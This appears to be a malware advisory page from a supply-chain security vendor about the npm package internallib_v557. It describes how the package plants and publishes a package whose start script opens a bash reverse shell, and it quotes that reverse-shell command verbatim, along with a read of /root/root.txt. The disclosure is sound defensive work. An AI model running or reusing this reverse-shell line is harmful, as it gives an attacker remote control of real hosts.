internallib_v557npm
Malicious code in internallib_v557 (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
internallib_v557 has no legitimate functionality — its single exported command() function in index.js writes a malicious package.json to /tmp/uhclabs_local_check/ whose start script is a bash reverse shell to 10.0.0.145:9999 (/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.145/9999 0>&1'), then runs npm publish --registry http://0.0.0.0:4873/ to push that reverse-shell-bearing package into a local Verdaccio registry where it can be pulled by other consumers. The same function also executes cat /root/root.txt and logs the contents to stdout, attempting to exfiltrate a privileged host file the package has no legitimate need to read. The harmful path fires when any consumer requires the package and invokes the advertised API; since the package has no other functionality, normal use guarantees compromise.
Malicious versions
Indicators of compromise (SHA-256)
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Scan your dependencies
O3 Security blocks malicious packages like this at install time and in CI.
Supply-chain protection